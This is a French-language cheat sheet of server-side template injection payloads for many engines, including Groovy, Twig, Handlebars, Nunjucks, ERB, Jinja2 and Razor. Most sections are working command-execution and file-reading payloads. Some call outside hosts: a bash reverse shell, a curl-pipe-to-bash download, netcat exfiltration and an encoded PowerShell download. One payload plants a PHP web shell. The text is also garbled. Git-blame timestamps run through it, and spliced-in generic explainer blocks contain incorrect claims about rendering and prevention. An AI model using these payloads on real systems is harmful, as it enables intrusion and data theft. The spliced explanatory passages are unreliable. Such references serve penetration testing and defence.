2023-06-03 13:10:46 +00:00
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés). EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de contextes et de dépendances pour Java EE (CDI).\
Consultez la page suivante pour en savoir plus sur l'**exploitation des interpréteurs EL** :
2021-06-07 09:30:58 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-09-26 09:52:47 +00:00
### Groovy (Java)
2023-06-03 13:10:46 +00:00
Cette méthode de contournement du gestionnaire de sécurité a été prise à partir de ce [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
2022-09-26 09:52:47 +00:00
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
##
2022-05-01 13:25:53 +00:00
### Smarty (PHP)
2021-06-25 12:34:30 +00:00
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2023-06-03 13:10:46 +00:00
* Dans la section Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
2022-05-01 13:25:53 +00:00
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
2023-06-03 13:10:46 +00:00
* `{{1/0}} = Erreur`
* `{{foobar}} Rien`
2021-06-25 12:34:30 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
2022-10-03 13:43:01 +00:00
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
2021-06-25 12:34:30 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
**Twig - Format de modèle**
2023-06-03 13:10:46 +00:00
Twig est un moteur de template flexible et rapide écrit en PHP. Il est largement utilisé dans les applications Symfony et est également disponible en tant que composant autonome. Twig utilise une syntaxe simple et facile à comprendre pour les modèles, ce qui le rend facile à utiliser pour les développeurs de tous niveaux. Les modèles Twig sont généralement stockés dans des fichiers avec l'extension `.twig`. Les variables sont représentées par des doubles accolades (`{{}}`) et les instructions sont représentées par des accolades et un pourcentage (`{% %}`). Les commentaires sont représentés par des accolades et un dièse (`{# #}`). Twig prend également en charge l'héritage de modèles, ce qui permet aux développeurs de créer des modèles de base qui peuvent être étendus par d'autres modèles.
2021-06-25 12:34:30 +00:00
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2023-06-03 13:10:46 +00:00
* Dans la section Twig et Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
2023-06-03 13:10:46 +00:00
Plates est inspiré de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé.
2023-06-03 13:10:46 +00:00
contrôleur:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
2023-06-03 13:10:46 +00:00
# Injection de modèle côté serveur (SSTI)
L'injection de modèle côté serveur (SSTI) est une vulnérabilité qui permet à un attaquant d'injecter du code dans un modèle côté serveur. Cette vulnérabilité est souvent trouvée dans les applications Web qui utilisent des moteurs de modèle tels que **Jinja2**, **Twig**, **FreeMarker**, etc.
2023-06-03 13:10:46 +00:00
## Comment cela fonctionne-t-il?
2023-06-03 13:10:46 +00:00
Lorsqu'une application Web utilise un moteur de modèle, elle utilise souvent des variables pour remplir les modèles avec des données dynamiques. Cependant, si ces variables ne sont pas correctement validées, un attaquant peut injecter du code malveillant dans le modèle.
2023-06-03 13:10:46 +00:00
Par exemple, considérons le code suivant en utilisant le moteur de modèle **Jinja2**:
2023-06-03 13:10:46 +00:00
```python
from flask import Flask, render_template_string, request
2023-06-03 13:10:46 +00:00
app = Flask(__name__)
2023-06-03 13:10:46 +00:00
@app.route('/')
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title> Hello {{ name }} </title>
</head>
<body>
<h1> Hello {{ name }} </h1>
</body>
</html>
'''
return render_template_string(template, name=name)
2023-06-03 13:10:46 +00:00
```
Dans cet exemple, l'application Web utilise le moteur de modèle **Jinja2** pour remplir le modèle avec la variable `name`. Cependant, si un attaquant fournit une entrée malveillante pour la variable `name`, il peut injecter du code malveillant dans le modèle.
2023-06-03 13:10:46 +00:00
Par exemple, si un attaquant fournit la chaîne de caractères suivante pour la variable `name`:
```
{{ 7 * 7 }}
```
2023-06-03 13:10:46 +00:00
Le modèle sera rendu comme suit:
2023-06-03 13:10:46 +00:00
```html
<html>
<head>
<title> Hello {{ 7 * 7 }} </title>
</head>
<body>
<h1> Hello {{ 7 * 7 }} </h1>
</body>
</html>
```
2023-06-03 13:10:46 +00:00
Le code malveillant `{{ 7 * 7 }}` sera évalué et le résultat `49` sera affiché dans le modèle.
2023-06-03 13:10:46 +00:00
## Comment exploiter une SSTI?
2023-06-03 13:10:46 +00:00
Pour exploiter une SSTI, un attaquant doit trouver une entrée qui est utilisée pour remplir un modèle côté serveur sans être correctement validée. Les entrées courantes qui peuvent être utilisées pour exploiter une SSTI sont:
2023-06-03 13:10:46 +00:00
- Les paramètres de requête GET et POST
- Les cookies
- Les en-têtes HTTP
- Les paramètres de session
2023-06-03 13:10:46 +00:00
Une fois qu'un attaquant a trouvé une entrée vulnérable, il peut injecter du code malveillant dans le modèle en utilisant la syntaxe spécifique au moteur de modèle. Par exemple, pour **Jinja2**, l'attaquant peut utiliser la syntaxe `{{ code }}` pour injecter du code malveillant.
2023-06-03 13:10:46 +00:00
## Comment prévenir une SSTI?
Pour prévenir une SSTI, il est important de valider correctement toutes les entrées qui sont utilisées pour remplir un modèle côté serveur. Les bonnes pratiques pour prévenir une SSTI sont:
- Utiliser des bibliothèques de modèle qui ont des mécanismes de sécurité intégrés, tels que **Django** ou **Flask**.
- Éviter d'utiliser des entrées utilisateur pour remplir des modèles côté serveur.
- Si vous devez utiliser des entrées utilisateur pour remplir des modèles côté serveur, assurez-vous de valider correctement ces entrées en utilisant des bibliothèques de validation telles que **WTForms**.
- Éviter d'utiliser des moteurs de modèle qui permettent l'exécution de code, tels que **Jinja2** ou **Twig**.
- Si vous devez utiliser des moteurs de modèle qui permettent l'exécution de code, assurez-vous de limiter les fonctionnalités de ces moteurs en utilisant des options de configuration telles que `autoescape` ou `sandbox`.
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
2023-06-03 13:10:46 +00:00
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
modèle de mise en page :
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
2023-06-03 13:10:46 +00:00
### PHPlib et HTML\_Template\_PHPLIB (PHP)
2023-06-03 13:10:46 +00:00
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) est identique à PHPlib mais porté sur Pear.
`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
2023-06-03 13:10:46 +00:00
# `authors.php`
## Description
La page `authors.php` affiche une liste d'auteurs de livres. Elle utilise le moteur de template Twig pour générer la page.
2023-06-03 13:10:46 +00:00
## Vulnerability
2023-06-03 13:10:46 +00:00
La page `authors.php` est vulnérable à une injection de template côté serveur (SSTI). L'entrée utilisateur n'est pas correctement validée avant d'être passée au moteur de template Twig. Cela permet à un attaquant d'exécuter du code arbitraire sur le serveur.
2023-06-03 13:10:46 +00:00
## Proof of Concept
2023-06-03 13:10:46 +00:00
Pour exploiter cette vulnérabilité, l'attaquant peut ajouter du code Twig malveillant dans le paramètre `author` de l'URL. Par exemple :
2023-06-03 13:10:46 +00:00
```
http://example.com/authors.php?author={{7*7}}
2023-06-03 13:10:46 +00:00
```
Cela exécutera le code `7*7` et affichera le résultat `49` sur la page.
## Remediation
2023-06-03 13:10:46 +00:00
Pour corriger cette vulnérabilité, il est recommandé de valider et de filtrer toutes les entrées utilisateur avant de les passer au moteur de template. Twig fournit des fonctions de filtrage pour éviter les injections de template. Par exemple, la fonction `escape` peut être utilisée pour échapper les caractères spéciaux dans les chaînes de caractères.
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
2022-05-01 13:25:53 +00:00
### Jade (NodeJS)
Jade est un moteur de template pour Node.js et est maintenant connu sous le nom de Pug. Il est utilisé pour générer des pages HTML dynamiques en utilisant des données fournies par l'application. Les injections de modèles côté serveur peuvent être effectuées en utilisant des variables non échappées dans les fichiers de modèle Jade. Les variables non échappées sont définies en utilisant le signe "=" suivi de la variable. Par exemple, `= user.name` affichera le nom de l'utilisateur sans échapper les caractères spéciaux. Les attaquants peuvent exploiter cette vulnérabilité en injectant du code malveillant dans les variables non échappées, ce qui peut entraîner une exécution de code à distance ou une divulgation d'informations sensibles.
2021-06-25 12:34:30 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
* Dans la section Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) est un moteur de template PHP non-compilant, qui utilise des balises XML pour diviser un document en différentes parties.
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
2022-05-01 13:25:53 +00:00
### Handlebars (NodeJS)
2023-06-03 13:10:46 +00:00
Traversal de chemin d'accès (plus d'informations [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
2021-02-03 09:46:19 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
2023-06-03 13:10:46 +00:00
* \= Erreur
* ${7\*7} = ${7\*7}
2023-06-03 13:10:46 +00:00
* Rien
2021-06-25 12:34:30 +00:00
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
2021-09-30 07:38:27 +00:00
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
2022-05-01 13:25:53 +00:00
### JsRender (NodeJS)
2020-12-01 16:50:24 +00:00
2023-06-03 13:10:46 +00:00
| **Modèle** | **Description** |
| ------------ | --------------------------------------- |
2023-06-03 13:10:46 +00:00
| | Évaluer et rendre la sortie |
| | Évaluer et rendre la sortie encodée en HTML |
| | Commentaire |
| et | Autoriser le code (désactivé par défaut) |
2020-12-01 16:50:24 +00:00
* \= 49
2020-12-01 16:50:24 +00:00
2023-06-03 13:10:46 +00:00
**Côté client**
2021-06-25 12:34:30 +00:00
```python
2020-12-01 16:50:24 +00:00
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Côté serveur**
2020-12-01 16:50:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2020-12-01 16:50:24 +00:00
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
2022-05-01 13:25:53 +00:00
### PugJs (NodeJS)
2021-01-09 10:15:51 +00:00
2021-01-10 15:09:49 +00:00
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
2021-12-16 22:42:47 +00:00
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2021-01-10 15:09:49 +00:00
2023-06-03 13:10:46 +00:00
**Exemple de rendu côté serveur**
2021-06-25 12:34:30 +00:00
```javascript
2021-01-10 15:09:49 +00:00
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2021-01-09 10:15:51 +00:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
2022-05-01 13:25:53 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
2022-02-01 22:03:45 +00:00
2022-02-09 16:22:44 +00:00
* \{{7\*7\}} = 49
2023-06-03 13:10:46 +00:00
* \{{foo\}} = Aucune sortie
2022-02-01 22:03:45 +00:00
* \#{7\*7} = #{7\*7}
2023-06-03 13:10:46 +00:00
* \{{console.log(1)\}} = Erreur
2022-02-01 22:03:45 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2022-02-01 22:03:45 +00:00
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
2022-05-01 13:25:53 +00:00
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
2023-06-03 13:10:46 +00:00
* `<%= foobar %> = Erreur`
2021-06-25 12:34:30 +00:00
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Slim (Ruby)
2021-06-25 12:34:30 +00:00
* `{ 7 * 7 }`
```
2021-06-25 12:34:30 +00:00
{ %x|env| }
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2022-05-01 13:25:53 +00:00
### Python
2021-06-25 16:27:28 +00:00
2023-06-03 13:10:46 +00:00
Consultez la page suivante pour apprendre des astuces sur la **bypass d'exécution de commandes arbitraires en contournant les sandbox** en python:
2021-06-25 16:27:28 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
2021-06-25 16:27:28 +00:00
2022-05-01 13:25:53 +00:00
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
2023-06-03 13:10:46 +00:00
* `{{foobar}} = Erreur`
* `{{7*'7'}} = 7777777`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% import foobar %} = Error
2022-02-09 16:22:44 +00:00
{% import os %}
2022-09-26 09:52:47 +00:00
2022-10-03 13:43:01 +00:00
{% import os %}
2022-12-09 14:47:58 +00:00
{% endraw %}
2023-01-13 17:40:30 +00:00
2023-03-05 22:20:47 +00:00
2022-12-09 14:47:58 +00:00
{{os.system('whoami')}}
2022-04-06 08:57:29 +00:00
{{os.system('whoami')}}
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2022-05-01 13:25:53 +00:00
### Jinja2 (Python)
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
[Site officiel](http://jinja.pocoo.org)
> Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandboxé intégré en option, largement utilisé et sous licence BSD.
2023-06-03 13:10:46 +00:00
* `{{7*7}} = Erreur`
* `${7*7} = ${7*7}`
2023-06-03 13:10:46 +00:00
* `{{foobar}} Rien`
2021-06-25 12:34:30 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
2022-04-06 08:57:29 +00:00
* `<div data-gb-custom-block data-tag="debug"></div>`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% debug %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-06-18 20:54:28 +00:00
{{settings.SECRET_KEY}}
2021-06-25 12:34:30 +00:00
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Format de modèle**
2023-06-03 13:10:46 +00:00
Jinja2 est un moteur de modèle pour Python. Il est utilisé pour générer des documents HTML, XML ou tout autre format de texte. Les modèles Jinja2 sont des fichiers texte qui contiennent des balises et des variables. Les balises sont utilisées pour contrôler la logique du modèle, tandis que les variables sont utilisées pour afficher des données dynamiques.
2023-06-03 13:10:46 +00:00
Les balises Jinja2 sont entourées de crochets `{% %}`. Les variables Jinja2 sont entourées de doubles crochets `{{ }}`. Les commentaires Jinja2 sont entourés de crochets `{# #}`.
2023-06-03 13:10:46 +00:00
Voici un exemple de modèle Jinja2 simple :
2023-06-03 13:10:46 +00:00
```
<!DOCTYPE html>
<html>
<head>
2023-06-03 13:10:46 +00:00
<title>{{ title }}</title>
</head>
<body>
2023-06-03 13:10:46 +00:00
<h1>{{ heading }}</h1>
{% for item in items %}
<p>{{ item }}</p>
2023-06-03 13:10:46 +00:00
{% endfor %}
</body>
2023-06-03 13:10:46 +00:00
</html>
```
2021-06-25 12:34:30 +00:00
Dans cet exemple, le modèle contient une variable `title`, une variable `heading` et une boucle `for` qui affiche chaque élément de la liste `items`.
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
2021-06-25 12:34:30 +00:00
{% endblock %}
2022-02-09 16:22:44 +00:00
{% endraw %}
```
[**RCE non dépendant de**](https://podalirius.net/fr/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
2021-06-25 12:34:30 +00:00
```
2023-06-03 13:10:46 +00:00
**Plus de détails sur comment abuser de Jinja**:
2021-06-25 12:34:30 +00:00
2022-07-20 01:03:41 +00:00
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-05-01 13:25:53 +00:00
### Mako (Python)
2021-06-25 12:34:30 +00:00
```python
2021-06-07 09:30:58 +00:00
<%
import os
x=os.popen('id').read()
%>
${x}
```
2022-05-01 13:25:53 +00:00
### Razor (.Net)
2020-07-19 21:53:59 +00:00
2023-06-03 13:10:46 +00:00
* `@(2+2) <= Succès`
* `@() <= Succès`
* `@("{{code}}") <= Succès`
* `@ <= Succès`
* `@{} <= ERREUR!`
* `@{ <= ERREUR!`
2020-07-19 21:53:59 +00:00
* `@(1+2)`
2023-06-03 13:10:46 +00:00
* `@( //CodeC# )`
2022-01-06 11:03:56 +00:00
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAGUAYgBzAGsAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
2020-07-19 21:53:59 +00:00
La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
2020-07-19 21:53:59 +00:00
2023-06-03 13:10:46 +00:00
**Plus d'informations**
